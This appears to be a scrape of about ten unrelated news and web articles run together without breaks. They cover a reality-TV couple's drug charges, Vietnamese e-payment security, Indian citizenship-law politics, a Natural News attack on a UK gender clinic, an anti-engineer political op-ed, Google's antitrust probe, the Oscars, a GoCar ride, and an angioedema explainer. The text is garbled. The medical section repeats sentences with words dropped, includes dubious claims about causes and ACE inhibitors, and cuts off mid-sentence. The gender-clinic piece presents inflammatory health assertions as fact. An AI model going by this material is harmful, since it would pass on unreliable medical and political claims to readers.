D'Avanzo, 50, with fourth-degree conspiracy to possess marijuana and fourth-degree possession of marijuana in excess of 50 grams. Lee is seen above in Criminal Court in St. George after his arrest in December NYPD detectives also say they found two scales, ziplock bags used for the purpose of unlawfully packaging a narcotic drug, a sum of United States currency and multiple cellular phones. Police allege that they noticed a large quantity of marijuana in the basement that was accessible to their 12-year-old daughter. She was not the target of the search warrant, Assistant District Attorney Matthew Gamberg told the Staten Island Advance. Prosecutors said they will not pursue charges against Lee DAvanzo, who was arrested again last month. Lee is one of 24 people who were arrested in a sting operation that was the culmination of a year-long investigation by the Monmouth County Prosecutor's Office Narcotics and Criminal Enterprise Unit. New Jersey prosecutors charged Lee, 50, with fourth-degree conspiracy to possess marijuana and fourth-degree possession of marijuana in excess of 50 grams. The sting, dubbed Operation On The Ropes, revealed a scheme to turn candy products like Nerds Rope and Sour Patch Kids into THC-laced drugs. Law enforcement officials also recovered 1,100 pounds of suspected marijuana and more than 6,000 flavored THC vape cartridges, all with a street value of $1.9 million. Drita has not been charged in the New Jersey case. Drita D'Avanzo is best known for her appearance on the VH1 reality series Mob Wives, which aired for six seasons from 2011 to 2016 She appeared on the VH1 series Mob Wives throughout the show's six-season run from 2011 to 2016. She has also appeared on other shows such as Scared Famous, VH1's Big Brother-style reality show, and Hip Hop Squares. She has also worked for several cosmetics companies and even released her own line dubbed Lady Boss by Drita. Drita and Lee have been married since 2000 and have two daughters together, Aleeya D'Avanzo and Gizelle D'Avanzo. Cyber threats slow down rise of cashless payments Fears of the coronavirus (COVID-19) epidemic are driving the demand for online payments, as going to crowded brick-and-mortar stores not only increases the risk of an infection but also involves using cash, which by itself contributes to spreading viruses. According to researchers at Greifswald University Hospital in Germany, coronaviruses can live on surfaces for four to five days, but some could survive for up to nine days outside of the body at room temperature. Therefore, the State Bank of Vietnam (SBV) and other local commercial banks recommend to switch to online transactions to minimise the risk of exposure to the currently wide-spreading virus. Local banks are catching up with international peers in this regard, such as BIDV, VietinBank, VPBank or Nam A Bank, who are urging their clients to use their e-banking products. HDBank even offered its customers to make international transactions for pharmaceuticals and medical businesses free of charge. Nguyen Thu Huong, deputy director at ABBank emphasised, Cashless transactions would not only offer greater convenience for customers and businesses, but also offer a raft of other benefits such as hygiene. Promoting non-cash payments is a priority task for the Vietnamese government, with the ambition that cashless transactions exceed one third of all transactions nationwide in the coming months. Furthermore, the SBV announced that it would not remove the proposed cap for foreign ownership ratio of 49 per cent to fintech which are payment intermediaries. Undoubtedly, foreign investors have played a large role in the growth and development of e-payments in the country, driving a huge amount of capital and cutting-edge technologies into fintech firms. However, e-payment solutions still show weaknesses and their application in daily life is still limited. Great advancement, great risks The sharp increase in online transactions during peak seasons, such as during this COVID-19 epidemic and before Lunar New Year, has caused some banking systems to be congested. On the occasion of the holidays, an influx of customers conducted transactions online, but could not proceed because the system repeatedly reported errors. They were even sometimes unable to access the banking website or mobile apps. Meanwhile, security is one of the major concerns for users since the potential for losses is huge once criminals are inside the financial trading system of a bank or a fintech application. Last month, there were some unauthorised transfers and an unusually large amount of cash being withdrawn by some people taking advantage of Military Banks (MB) security loopholes. Despite the numerous anomalies in transactions being roughly estimated at hundreds of billion VND, MB inexplicably failed to immediately block or freeze those suspicious activities. However, most of the victims are confused and handle such attacks slowly or unprofessionally, according to experts opinions. Nguyen Trong Duong, deputy director general of the Authority of Information Security (AIS) under the Ministry of Information and Communications noted, Vietnamese enterprises saw a 300-per-cent increase in data breaches in 2019 compared to the previous year. Statistics of the Vietnam Cybersecurity Emergency Response Teams revealed that the first nine months of 2019 witnessed 3,493 assaults aimed at the information systems in Vietnam, an increase of 104 per cent on-year. Nearly half (49.4 per cent) of financial institutions facilitate a specialised unit of ensuring the information security, while only 9.2 per cent could build their security monitoring system, Duong added. Particularly, only 25 per cent of financial institutions are able to record these attacks, which means the rest are likely to be attacked without even knowing it. In addition, mobile phones are considered particularly vulnerable to hackers because consumers typically do not install anti-malware protection onto their devices. The rising popularity of mobile-banking malware creates yet another security headache for consumers who are increasingly turning to their mobile phones for everyday tasks from banking to shopping amidst the COVID-19 contagion, Truong Thanh Duc, chairman of law firm BASICO told VIR. Besides fake promotions and customer rewards which lead customers to access a fake internet banking link, Maritime Bank (MSB) has recently sent a warning to its customers, saying that they should be conscious and pay more attention to hackers using the outbreak in their multifaceted scamming tricks. According to Hoang Nguyen Van, CEO of the IT group SAVIS Vietnam, as non-cash payments and digital banking are being rapidly developed, information security and safety are critically important issues. A minor security incident can cause serious financial losses. Varying fees The current fees for maintaining bank accounts or performing transactions are still fairly high, which is one of the obstacles of a high cashless payment volume. Apart from some digital banks such as Timo, TPBank, OCB OMNI, and some commercial banks like Techcombank and SCB, which are applying free-of-charge transfer policies, most lenders in Vietnam are charging high fees. Heads of many hospitals also said that when implementing a non-cash payment, they had to pay back the fee to the lender, ranging from 0.2 to 0.8 per cent of the transaction. However, they cannot charge patients which results in deficits. For this reason, many administrative facilities are not interested in the implementation of non-cash payments. To stimulate e-payments, the SBV issued Document No.727/NHNN-TT in January on online payment service fees. Accordingly, the National Payment Corporation of Vietnam (NAPAS) has developed a programme of service fee exemption and reduction, including free-of-charge switches for online payment transactions of public services until December 2020; reducing switching fees for inter-banking fast money transfer transactions with small values of no more than VND500,000 ($21) per transaction to VND500 (2 US cents) from the current VND1,800 (7 US cents) per transaction, expected to be applied from February 25. Bengaluru/IBNS: The young woman, who had raised a pro-Pakistan slogan at the AIMIM chief Asaduddin Owaisi's rally against the Citizenship (Amendment) Act (CAA), National Register of Citizens (NRC) and National Population Register (NPR) here, has been charged with sedition, media reports said. The woman- identified as Amulya- has been sent to a 14-day custody. Taking the microphone on the state, Amulya was asking people to shout along with her "Pakistan Zindabad" slogan. The organisers of the event "Save Constitution" invited her to address the gathering soon after Owaisi came on the stage. They were taken aback by her slogan. #WATCH The full clip of the incident where a woman named Amulya at an anti-CAA-NRC rally in Bengaluru raised slogan of 'Pakistan zindabad' today. AIMIM Chief Asaddudin Owaisi present at rally stopped the woman from raising the slogan; He has condemned the incident. pic.twitter.com/wvzFIfbnAJ ANI (@ANI) February 20, 2020 Owaisi then rushed to snatch the mike from her hands and was joined by others who tried to remove her from the dais. However, the woman was adamant and kept raising the slogan repeatedly. The police had to intervene then and removed her from the dais. Later, Owaisi also claimed that he denounced her action and asserted "we are for India." "Neither me nor my party has any link with her. We denounce her. The organisers should not have invited her here. If I knew this, I would not have come here. We are for India and we no way support our enemy nation Pakistan. Our entire drive is to save India," the AIMIM MP said distancing his party from the woman. Chennai, Feb 21 : The ruling AIADMK on Friday hit out at opposition DMK saying it is carrying out false propaganda and creating confusion in the Muslim community over the National Register of Citizens (NRC). In a joint statement issued here by party coordinator O. Panneerselvam and Joint Coordinator K. Palaniswami condemned the DMK and said the Muslim community in particular and others in general should understand that anti-social elements and opposition parties trying to come to power are trying to disturb the law and order in the state. The two leaders said the state government has written to the Centre that while enumerating, the officials should not ask details such as mother tongue, place of birth of mother/father/spouse, Aadhaar card details, mobile phone number, voter identity or driving licence number during the 2020 Census. The two leaders said the party would protect the interests of the minorities and listed out various welfare programmes introduced by the government. Deputy Chief Minister Panneerselvam and Chief Minister Palaniswami in the statement said the National Register of Citizens (NRC) is as per the Supreme Court's guidelines and for Assam alone and not for the entire country. They also pointed out the Central Government's assurances that NRC is not against Muslims. According to the statement it was in 2010 during the Congress government at the centre in which DMK was also a part, the National Population Register (NPR) was introduced as part of Census. (Natural News) In the United Kingdom there is an experimental clinic commissioned by the government called the Gender Identity Development Service (GIDS). The clinic works with children who are suffering from mental illness and hormonal challenges, including gender dysphoria. Instead of helping children understand their innate gender, health care workers routinely encourage confused children to take synthetic hormone-blocking drugs that continue to confuse the children, altering their chemical makeup, and harming their mind and physical bodies for years to come. Commissioned by National Health Services (NHS) England, the clinic has become nothing more than a government-sponsored predatory drug mill that harms children by giving them life-altering drugs that have lasting physiological effects. Now the agency is being sued for illegally prescribing these life-altering drugs to minors. NHS clinic preys on confused children younger than 10 by prescribing hormone-blocking drugs en masse A mother and a nurse have witnessed the damage first hand and are taking their case to the nations High Court. They allege that the GIDS is illegally prescribing drugs to minors at the Tavistock and Portman National Health Service Trust. They allege that children cannot give informed consent to the treatment because the drugs being prescribed are not fully understood by health care workers, let alone the children, and could have a lasting impact on the mental and physical well being of the children well into their adulthood. Former GIDS nurse Sue Evans left the agency because she was concerned teenagers who wanted to transition to a different gender were being given the puberty blockers without adequate assessments and psychological work. The clinic may prescribe hormone blocking drugs after just a handful of interviews with a nurse. Children suffering with eating disorders should NOT be encouraged to act on their urges and transition their body to fulfill their visions of what they should look and feel like. The same should go for gender dysphoria. But GIDS doesnt listen and understand the childrens confusion. Instead, the agency prescribes hormone-blocking drugs as a one size-fits-all therapy. The agency started drugging kids as young as nine or ten, paying no heed to the long term damage that hormone-blocking drugs can do to innate hormonal signaling in a developing body. In fact, the agency drugged up 678 children between 2014 and 2015. The treatments encourage the children to transition to the opposite gender, blocking natural hormone processes through adolescence. By 2019, the agency was drugging close to 3,000 children, putting their bodies through hell and encouraging their mental confusion about their innate gender. Nurse Evans says the agency is now drugging even younger children as the agency becomes a predatory drug mill facilitating child abuse. Most patients who are encouraged to suppress their innate gender are in their early to mid-teens, and may be confused by the natural hormonal changes that take place during adolescence. Even more shocking, the report finds that 171 of the patients were under the age 10. The agency is chemically altering the bodies of young children long before sexual development even occurs, inciting confusion that will eventually give way to shame and regret as the child transitions into adulthood. Nurse Evans spoke to BBC about the abuse: I used to feel concerned it was being given to 16-year-olds. But now, the age limit has been lowered and children as young as perhaps nine or 10 are being asked to give informed consent to a completely experimental treatment for which the long-term consequences are not known. The mother who came forth is concerned that her 15-year-old child with autism is being preyed upon. She is extremely concerned about the possibility of drugs that are not fully understood being prescribed. The mother is right: The long term effects of these drugs on an adolescent transitioning into adulthood will never fully be understood on an individual level, case-by-case. As children develop at the hormonal level, their urges, thoughts and perceptions of self will change. Encouraging a child to escape their innate gender through gender-bending fantasies is not conducive to long term mental health. The mother told BBC: Im worried that they will look at her age and say, Well, she still says this is what she wants and therefore we will put her on to a medical pathway, A child with autism often has conflicting feelings and urges and may say things they dont really mean. Blocking the childs hormones could cause irreversible damage, causing suicidal tendencies when the child matures. A large majority of children who are convinced they are the opposite gender ultimately come to accept the body they were born with. Sources include: WND.com BBCNews.com It was a surprise to learn, from a campaign ad, no less, that Michael Bloomberg is, or at least was, an engineer. A look at Wikipedia confirms that Bloomberg graduated from Johns Hopkins in 1964 with an electrical engineering degree. This made me roll my eyes and say a prayer asking that Bloomberg not be allowed anywhere near the White House this coming November or any other. Not that engineering isn't a noble profession and that engineers aren't intelligent, moral people. But the truth is, engineers make horrible presidents. There have been two presidents of the United States who were trained as engineers: Herbert Hoover and Jimmy Carter. Both were unmitigated disasters, who each made things worse and met with electoral defeat after just one term. Hoover and Carter were such bad presidents that they are in the running for worst president ever, which is saying quite a bit when you consider the stiff competition for the title. Hoover, a mining engineer, arguably made the Great Depression much worse than it had to be, trusting that the federal government could steer into the skid better than the market. Carter, a nuclear engineer, if you can believe it, was so inept that he consistently made the wrong decisions throughout his term of office, actually performing worse than if he'd simply flipped a coin to decide matters by chance. Some might point out that we've had presidents who graduated from West Point, which basically had at the time an engineering curriculum. True, but the engineering education at West Point is just part of the overall military education, which is more concerned with, in the words of the great Rush Limbaugh, "killing people and breaking things." Besides, those presidents went through actual wars, which have a tendency to foster practical people skills. Carter graduated from Annapolis and served as a nuclear engineer in submarines until he left the Navy to run the family farm. Semi-full disclosure: I am an engineer. Or at least I was one in the dim recesses of my checkered past. So I know of which I speak. It is often said that an engineering education teaches you how to think. That is true. Engineering school teaches you how to think in a certain way. It inculcates the "engineering mindset," which can be summarized as follows. Define the problem. Solve the problem. Next problem. This is a wonderful and necessary process when applied to technical problems. Engineers have wielded this approach with great success to build our modern world. I, for one, am grateful for it. We travel in comfort, eat better and fresher foods, and lead richer lives in large part thanks to the technological marvels brought to us by brilliant, hardworking engineers. All that said, an engineer, a slave to the engineering mindset, is the last person you want running your government. Engineers tend to be predisposed to dealing with numbers and devices as opposed to dealing with people. If they don't start out that way, they'll pick it up quickly enough. The stereotype of the dispassionate engineer, more comfortable with machines than with people, is well founded. Whatever else politics is, it involves dealing with people. I'm not implying that engineers can't do things other than engineering. Rowan Atkinson, Mr. Bean, was an electrical engineer before he became a comedian. Dolf Lundgren was working on a Ph.D. in chemical engineer at MIT before he found his true calling in fisticuffs with Sylvester Stallone. I'm not even saying engineers can't be politicians. The former governor of New Hampshire, John Sununu, a Ph.D. mechanical engineering professor, is a prominent example. But once out of the engineering sphere, one has to realize that engineering principles are no longer applicable. Another feature that Hoover, Carter, and Bloomberg share, besides engineering, is that they are all progressives. The engineering mindset and the progressive outlook are a toxic mixture. Progressives, and their philosophical drinking buddies socialists and communists, are under the mistaken impression that they have it all figured out. They think there is an instruction manual on how to build and run the perfect society, and they've read and understand that book. It's simply a question of the rest of us doing what we're told, and everything will work out. Simple, no? This confidence in guiding principles is indescribably seductive to someone of the engineering mindset. What's building a vehicle or a bridge compared to building a society? All that's needed is the talent to organize the work and the willpower to drive the project through to completion. The fatal flaw is that there is no instruction manual for the perfect society, or even any practical blueprints to build it with. Truth be told, there aren't blueprints to build any society. Cultures, countries just grow on their own, organically. Even in the communist regimes of the twentieth century, people sort of figured things out on a local level within the idiotic constraints imposed on them from the central governments. The progressive engineer, though, accepts the doctrine of the left as a secular gospel, as a handbook for running the world. An engineer must rely on his understanding of the materials he works with and how those materials behave under given conditions. The material a politician has to work with is people, and the understanding of people and how they behave under given conditions is not anywhere near complete enough for proper engineering. Engineers may build prototypes and experiment, but that is not engineering. It's research. As someone once said, "research is what you're doing when you don't know what you're doing." Above all else, an engineer needs to know what he's doing. Without that knowledge, there cannot be confidence in the result. The bridge will collapse. The circuit won't handle the amperage coursing through it. The reactor will explode. The airplane won't get off the ground, or worse yet may claw its way into the air but is disinclined to stay there. Progressive engineers like Hoover, Carter, and Bloomberg will try to apply the engineering principles that have served them well in other walks of life to politics, and it simply won't work. They'll try to impose fixes based on a flawed grasp of the situation and then be confused when it doesn't have the expected effect. Hoover thought he could curb unemployment at the start of the Great Depression by cajoling companies not to fire anyone, not realizing that that was treating symptoms, not the disease. Carter scolded us to drive 55 and was miffed when we ignored him. Bloomberg decided that he could improve New Yorkers' health by making it difficult to buy Big Gulps and didn't understand why people ridiculed him for it. I can only imagine what grand plans Bloomberg has for the nation. As complex as technical problems can be, people are much more complex than that. When progressive engineers are confronted with this fact, usually after repeated failures, they typically come to see people as the problem. I suppose that from where they stand, we are the problem. We refuse to behave as their textbooks say we should. Bloomberg has proven that you can make a lot of money thinking and acting like an engineer. But bad things happen when you try to run a country with the engineering mindset or a world, for that matter. Image: Gage Skidmore via Flickr. Reporting at the WSJ today says Alphabet/Google hasn't met the demands of state investigators to surrender emails, texts, and other documents in an ongoing anticompetitive digital-ad practices investigation. Google is reluctant to surrender documents in the investigation of alleged anticompetitive practices, reports John D. McKinnon at The Wall Street Journal: Google is resisting efforts to surrender emails, text messages and other documents sought by state investigators probing possible anticompetitive practices, according to records and interviews. Google, a unit of Alphabet Inc., also hasn't agreed to a waiver that would give the coalition of state attorneys general access to documents obtained by the Justice Department for its own probe, according to a person familiar with the situation. Read more at the WSJ: Google Resists Demands From States in Digital-Ad Probe Responses from Twitter, below. Without a whiff of irony, Google is concerned that by handing over its personal information, it could end up in the hands of other companies @WSJ @johndmckinnon https://t.co/V1IvHf7XYE pic.twitter.com/HLIEpqU1rC . (@GregBensinger) February 21, 2020 Can't they just Google them? https://t.co/CgY8ftFii6 Joe Flint (@JBFlint) February 21, 2020 Text messages and chats and emails are not the sort of documents that contain trade secrets about Google's proprietary algorithms. They are the sort of documents that show intent, motivation and schemes and @KenPaxtonTX is right to push for them https://t.co/U5jJwSF90F Dave Yost (@Yost4Ohio) February 21, 2020 New: Google reports to be defying efforts of 48 state AGs to investigate its anticompetitive behavior. "It's the Google playbookstall, stonewall, deflect and deny, because they are afraid the public will finally get the truth." @HawleyMO https://t.co/MVm9dVjzwP Jason Kint (@jason_kint) February 21, 2020 Google is resisting demands to turn over certain documents sought by investigators probing possible anticompetitive practices https://t.co/7Ol6t15yPF Amol Sharma (@asharma) February 21, 2020 To be fair, Google has at least 12-15 messaging apps https://t.co/Rix4D2BIwu Robert Stephens (@rstephens) February 21, 2020 [via techmeme.com] (JTA)When Adam Sandler was shut out of this years Academy Award nominations for Uncut Gems, the Oscars lost out on the chance to have an acceptance speech as hilarious as the one Sandler delivered Saturday at the Independent Film Spirit Awards. But this years Oscars had some pretty wonderful Jewish moments nonetheless. Heres a roundup. Maori Jewish director, writer and actor Taika Waititi had a big moment Waititi, 44, took home the Oscar for Best Adapted Screenplay for Jojo Rabbit, his first Oscar win and the first ever by an Indigenous director. Waititis anti-hate satire about a boy who has Adolf Hitler as an imaginary friend, was up for six awards, but Waititis win was the only one for the film. The director dedicated the award to all the Indigenous kids in the world who want to do art and dance and write stories. We are the original storytellers and we can make it here as well. Waititis father is from the Te Whanau-a-Apanui, a Maori tribe. He also shouted out his Jewish mom: Thank you for being my mother, and for many other reasons, but for giving me the book that I adapted. This film wouldnt have existed without you doing that. Waititis mom, Robin Cohen, told her son to read Caging Skies by Christine Leunensthe story that Waititi adapted into his satirical film. Today, we know Hitler as the evil madman who engineered the torture and murder of millions of people, Cohen told Variety. But if we dont think more deeply about how he convinced half the world to help him, we leave the door open to a repeat performance. When Taika depicts him as the affable hero of a small boys imagination, our idea of Hitler is skewed like a needle scratching across a record. This imaginary Hitler reminds us of an uncomfortable realitythat in the right climate, what we come to imagine can be deadly. Jewish actress Natalie Portman and Jewish actor Timothee Chalamet presented Waititi with the award. In the press room after winning, Waititi echoed his mothers sentiment on the prescience of the film. He said he made the film in response to a resurgence of hate and intolerance and hate speech. At the end of the war, there was a very clear rule: if you were a Nazi, you went to jail. Now, the rules have changed a bit: if youre a Nazi, feel free to have a rally down in the town square and you can invite all your mates. So, somethings changed and somethings not right. Idina Menzel sings Idina Menzel, the voice of Elsa in Frozen (and its sequel) performed the Oscar-nominated song Into the Unknown with backup performers from around the world. The Jewish mom was introduced by her Jewish Frozen co-star, Josh Gad, who made a point to pronounce her name correctly, saying, the iconic and brilliant Idina Menzel, pronounced exactly as it is spelled. (A dig at John Travolta, who could not pronounce her name at the 2014 ceremony.) Natalie Portmans dress makes a statement Portmans dress was embroidered with the names of eight female directors who were snubbed by the Academy this year: Lulu Wang (The Farewell), Greta Gerwing (Little Women), Alma Harel (Honey Boy), Lorene Scafaria (Hustlers), Celine Sciamma (Portrait of a Lady on Fire), Melina Matsoukas (Queen & Slim), Marielle Heller (A Beautiful Day in the Neighborhood), and Mati Drop (Atlantics). Israeli director Alma Harel, who was included on the dress, tweeted: My first time at the Oscars couldnt have been more beautiful. Later in the night, Harel also tweeted her enthusiasm for Bong Joon Ho, the South Korean director whose Parasite became the first-ever non-English language film to win Best Picture. Jewish stars make memorable appearances as presenters Portman and Chalamet were among several Jewish celebrities to be part of the host-less awards show. Beanie Feldstein, Gal Gadot, Steven Spielberg and Maya Rudolph also got to hand out prizes. Waititi also returned to honor the indigenous populations of Southern California, acknowledging the Tongva, the Tataviam and the Chumash people who lived in what is now Los Angeles: We acknowledge them as the first peoples of this land on which the motion pictures community lives and works. Jewish stars honored in memoriam Presented by Jewish director Spielbergthe in memoriam segment honored those Hollywood lost this year. As Billie Eilish sang, the show paid tribute to Schindlers List producer and Holocaust survivor Branko Lustig; iconic Jewish actress Sylvia Miles; and Buck Henry, screenwriter of The Graduate and Get Smart. The awards show also memorialized Kirk Douglas, the actor born Issue Danielovich who died last week at 103. Not during the show, but... Saturday Night Live Jewish comedian Chloe Finemana newcomer to the SNL castdelivered pitch-perfect impersonations of the nominees on a Weekend Update segment. This story was originally published on February 20, 2020. When my coworker Alix asked if Id join her in driving a GoCar one of those tiny yellow cars pretty much only used by tourists around San Francisco, I agreed, but under one condition. Im not driving, I told her firmly. Well, two conditions: And please dont kill me. As a nervous and infrequent driver who doesnt own a car in the Bay Area, I couldnt think of anything more terrifying than being behind the wheel in the busy, hilly streets of San Francisco. Now, imagine my terror at navigating a toy car-looking vehicle around the city. I read relevant headlines over the past few years of their existence in SF, my heart rate accelerating with each one: Tiny GoCar gets wedged under SUV near Lombard St.; Tourist family takes GoCar too far over Bay Bridge; 2 tossed out of GoCar in wreck in SFs Mission District. But hey, the tourists zipping through Fishermans Wharf always looked like they were having fun. In the name of journalism, we decided to find out whether it was worth risking your life and looking like an oblivious tourist to take a spin in one of these bad boys. On an overcast, chilly Thursday morning, Alix and I headed to our GoCar pickup spot near Union Square. We filled out a bunch of paperwork, selected helmets and watched a short safety video that informed us that we were not allowed to drive on bridges or freeways, the GoCar had no reverse gear, and that if you drive off the planned route, the car might not be able to make it up some of San Franciscos steeper inclines (yikes). We reserved the car for three hours, which cost $190 plus an additional $26 for insurance. If we were late getting back, wed be charged an additional $1/minute. (For current pricing and logistics, refer here.) Lets just note that you can rent a real car for a whole day for a LOT cheaper than that. And this is far from a real car; its actually classified as a motorcycle. There arent gas and brake pedals. Instead, you accelerate with a throttle on the handlebars and brake like you would on a bike. The parking brake was just a small rod that you slide into place to hold the handle brakes down. Squeezing into the GoCar for the first time, it hit us both that our ride was much smaller than we anticipated. Fitting my long legs into the passenger seat with the GPS screen blocking my entry point was a struggle. After a very brief demonstration on how to drive it, I put my life in Alixs hands and we took off through the Tenderloin. Pretty much immediately, we missed a turn on our route to Fort Mason. I have a poor sense of direction, and I immediately panicked. Our provided GPS system which not only navigates, but acts as a perky tour guide had gone silent. (It only talks to you when youre on the designated route; its doesnt recalculate to help you get back on track like a normal GPS.) The virtual map offered no street names. Were not strangers to the area, but straying from the route poses the risk that youll veer onto a too-steep hill the GoCar cant handle. Or even (shudder) a freeway. The chaotic, construction-filled atmosphere of the Tenderloin did not exactly help with my ability to think clearly. We switched lanes near a bus a looming instant death machine from a GoCars eye view and I screamed a little bit. As I was completely useless to navigate Alix out of this situation, we pulled over to regroup. A construction worker eyed us disdainfully. Thank god we made it out of there and toward the calmer roads near Fort Mason. Our tour guide finally kicked back into action, alarming us with its sudden arrival. Check out Barcelona Liquors on the corner of Pine Street, it urged us. Speaking of Barcelona, that is yet another city where GoCars are now driving! We groaned. We stopped at a Safeway for a quick breather and learned that the safety video wasnt joking when it said there was no reverse gear. To leave the parking lot, I had to get out and push our little yellow joyride with my own two arms. You could say Im pretty buff now. Once we started whizzing through winding, picturesque roads in the Presidio, we started to hit our stride. With few cars around, I forgot about being scared for my life. Welcome to the Presy-DI-yo! our navigator chirped, causing us both to laugh at the butchered pronunciation. Our car then started playing cheesy music, and we took the opportunity to crank up the volume and jam out. If youre already doing something this embarrassing, you might as well embrace it. We reached Fort Point a spot Ive never actually made it to before and it was beautiful, the bridge doing its whole majestic thing. But then we started to get cold. Really, really cold. Alixs eyes started watering in the wind. Coming down with a cold myself, my nose started pouring. But in spite of our leaking faces, we persevered, barreling toward the Cliff House, and then Golden Gate Park. The GPS tried to send us to Twin Peaks, to which we both screamed NO! at the thought of how frigid it would be up there. Instead, we made a beeline for the Golden Gate Park bison. I forgot about being ill and freezing for a moment, because the bison were out! We tried to do a U-turn to get on the bison side of the road, but Alix couldnt quite make it. I had to get out and push again. People in cars giggled at the spectacle we made. But for a moment, I understood what it was like to be a giddy tourist, because I didnt care. The bison had given us a second wind, but with only an hour left at this point, our enthusiasm dipped. We were too cold, and the GPS had a different agenda than us, sending us in the wrong direction out of Golden Gate Park. Turning out of the park onto a busy road reminded me to fear for my life once again: Our vehicle was too low for us to see around the corner, but we also couldnt accelerate fast enough if a speeding car were to come out of nowhere. We took a chance on our 35 mph cap and gunned it. Our final stop was the Painted Ladies, which we circled a few times, because, you know, photos. With only a few minutes left, we started heading back to our drop-off point. We had to skip Lombard Street, but we made it back with 5 minutes to spare. So, is GoCar worth the nearly $200 it costs to rent one for three hours? Well, it wasnt nearly as terrifying as I expected. And there were moments when it was genuinely fun, and I got to see some cool sights Id never been to in San Francisco before because they are hard to reach via public transportation. That said, I cant imagine navigating one of these as a tourist with no understanding of the city. And oh man was it cold we went on a cold day, but lets face it: SF is usually not the warmest. The exorbitant price alone makes it not worth it, in my opinion. But I suppose if youre a comfortable driver preferably a local showing an out-of-towner around with a good sense of direction, some money to blow, and are looking for a laugh, go ahead and rent one of these little yellow hell machines. If nothing else, theyre hilarious. Angioedema is swelling that affects the lower layers of skin and tissue situated just under the skin or mucous membranes. It is caused because of the leakage of blood into the deeper layers of the skin by the small blood vessels. It most commonly affects the eyes and the mouth. It might affect the submucosal tissues lining the airways, mouth and gut. As a result the patients swallowing and breathing get impacted. If the lining of the gut is affected, it results in pains and cramps in the abdomen. It might also impact genitals, hands and feet. Other parts of the body are rarely affected. There is no cure for this condition. Each episode of angioedema clears within couple of days. It disappears after one episode and might reappear following an infection or stress. Its a recurrent problem. Angiodema results in circumscribed, selflimiting edema and can occur with or without urticaria. It involves deeper layers of the skin, subcutaneous and submucosal tissues. Swelling is usually erythematous or redness of skin below the surface of the skin.. Swelling results when chemicals namely histamine and bradykinin are released in the body affecting the lining of small capillary vessels which results in leakage in the affected tissues. It causes nonpitting edema . There is no itching of the affected skin but pain and tenderness is common. 85% cases are affected with angio-edema with urticaria and only 10% of the cases are affected with angiodema without urticaria. results in circumscribed, selflimiting edema and can occur with or without urticaria. It involves deeper layers of the skin, subcutaneous and submucosal tissues. Swelling is usually erythematous or redness of skin below the surface of the skin.. Swelling results when chemicals namely are released in the body affecting the lining of small capillary vessels which results in leakage in the affected tissues. It causes . There is no itching of the affected skin but pain and tenderness is common. 85% cases are affected with angio-edema with urticaria and only 10% of the cases are affected with angiodema without urticaria. Urticaria also results in swelling and follows the same pathological process as angiodema. It results in well defined pruritic edema affecting the superficial layers of the skin, namely, dermis and epidermis. The weals are accompanied by raised erythematous borders with central blanching. It is a pitting edema. In both urticaria and angiodema, the endothelial cell barrier weakens owing to the disease process. This weakening of the endothelial barrier is mediated by chemicals released from the mast cells, namely, histamine or bradykinin. Urticaria - Urticaria or hives, as it is most commonly called, is very common and affects one in ten people atleast once in their life time. Most of the people developing urticaria will have angioedema as well. Infection - A common cause of angiodema is infection, mostly affecting young infants. - A common cause of angiodema is infection, mostly affecting young infants. Medicines - Antibiotics (penicillin and sulfa drugs), nonsteroidal anti-inflammatory drugs (NSAIDs) and blood pressure medications ( angiotensin converting enzyme (ACE) inhibitors) can cause angiodema as a side effect. It happens in case of prolonged usage of very high dosage. These medicines cause swellings around the face, tongue and throat. Angiodema in these cases is not accompanied by urticaria. - Antibiotics (penicillin and sulfa drugs), nonsteroidal anti-inflammatory drugs (NSAIDs) and blood pressure medications ( inhibitors) can cause angiodema as a side effect. It happens in case of prolonged usage of very high dosage. These medicines cause swellings around the face, tongue and throat. Angiodema in these cases is not accompanied by urticaria. Hereditary - It usually runs in families but is very rare in occurrence with a prevalence of about 1 in 80,000. It happens owing to low levels of an enzyme C-1 esterase inhibitor . It gets triggered by stress, infection, alcohol or hormonal changes. - It usually runs in families but is very rare in occurrence with a prevalence of about 1 in 80,000. It happens owing to . It gets triggered by stress, infection, alcohol or hormonal changes. Deficiency of acquired C-1 esterase inhibitor (C1 INH) This enzyme prevents leakage in the blood vessels. Lower levels of acquired C-1 esterase inhibitor are found in people suffering from lymphoma, thyroiditis and autoimmune disorders like Systemic Lupus Erythematosus. It also affects mouth, throat and stomach and cause internal swelling resulting in severe stomach ache, difficulty breathing or chest pain. This enzyme prevents leakage in the blood vessels. Lower levels of acquired C-1 esterase inhibitor are found in people suffering from lymphoma, thyroiditis and autoimmune disorders like Systemic Lupus Erythematosus. It also affects mouth, throat and stomach and cause internal swelling resulting in severe stomach ache, difficulty breathing or chest pain. Common allergens like pollen, animal dander, latex and insect stings. Foods and environmental agents - Sometimes, allergy to foods (shellfish, fish, peanuts, tree nuts, eggs and milk) and environmental agents (heat, cold and emotional stress) can trigger the immune system, - Sometimes, allergy to foods (shellfish, fish, peanuts, tree nuts, eggs and milk) and environmental agents (heat, cold and emotional stress) can trigger the immune system, Idiopathic The cause of angioedema can be unknown. Marked swelling around eyes and mouth. Swelling in the pharynx, tongue, hands, feet and genitals. Breathing becomes difficult if pharynx is affected. Outside skin may appear normal or have weals with burning or itching sensation. Abdominal pain if the gut is affected. If affecting the eye, it causes swelling of conjunctiva which results in problems with vision. Swelling of bladder or urethra and difficulty in passing urine, if the genitals are impacted, Episodes are worse during 24 to 96 hours and gradually subside in couple of days. Diagnosis is usually clinical by examining the affected area of skin. However, further pathological and allergic tests are done to determine the type of angiodema. The doctor takes down a detailed history of the patient about the current episode, whether the swelling is itchy or painful, duration of attack, history of the episode occurring within minutes of having a particular food, or medicine or after any other trigger exposure. Also, the doctor would inquire about the past episodes to know about the frequency of occurrence. The doctor will also inquire about the family history and medication history. The doctor will assess the airway to check if there are any obstructive symptoms. General examination would include temperature, pulse and blood pressure. Other investigations include: Complete blood count to check infections and drug-induced reactions Erthyrocyte sedimentation rate to rule out infection, inflammation of blood vessels and other immune disorders Urinalysis Skin prick tests Radioallergosorbent test: a blood test to confirm sensitivity to certain allergens Plasma levels of the enzyme C1-INH, serum C4 level and functional C1 assays Thyroid function Auto-antibody test Stool tests for ova, cysts and parasites Investigate for underlying malignancy Skin biopsy Although there is no known cure of angioedema, leakage can be prevented by medication and lifestyle modification. Depending on the type of angioedema, antihistamines and steroids are prescribed to relieve swelling. Standard treatment measures- Avoiding allergen exposure Stop usage of ACE inhibitors if already in use and to avoid starting in future Non-sedating H 1 antihistamine is prescribed. First-line antihistamine is prescribed and dosage is monitored as per symptoms. In case of pregnancy or lactating, antihistamines should be avoided. If prescribed, cetirizine or loratadine 